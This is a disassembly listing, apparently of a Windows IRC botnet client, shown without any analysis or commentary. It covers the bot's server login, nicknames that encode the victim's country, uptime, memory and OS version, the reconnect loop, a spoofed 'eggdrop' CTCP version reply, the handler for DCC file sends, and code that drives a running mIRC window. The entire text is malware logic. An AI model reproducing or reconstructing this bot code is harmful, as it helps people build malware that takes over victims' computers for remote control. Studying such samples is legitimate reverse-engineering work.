jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA68[eax] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA6C[eax] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DA70[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DA70[eax] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx push offset byte_41E718 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E718 test eax, eax jz short loc_40D099 push offset byte_41E718 call sub_4105FB pop ecx push offset byte_41E718 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E718 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EEC8 test eax, eax jz short loc_40D0C3 push offset byte_41EEC8 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F048 test eax, eax jz short loc_40D0F6 push offset byte_41F048 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE48 test eax, eax jz short loc_40D163 push offset byte_41EE48 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB34 test eax, eax jz short loc_40D31D push offset byte_41DB34 push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 call sub_4105FB pop ecx movsx eax, byte_41DBB4 test eax, eax jz short loc_40D31D push offset byte_41DBB4 push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DAA4 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E9A4 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E898 call sub_4105FB pop ecx push offset dword_41E998 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E998 push offset dword_41E898 call sub_4050EA add esp, 10h mov dword_41E9A4, eax push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx cmp dword_41E9A4, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC34 push 3B6h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DAA4 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] 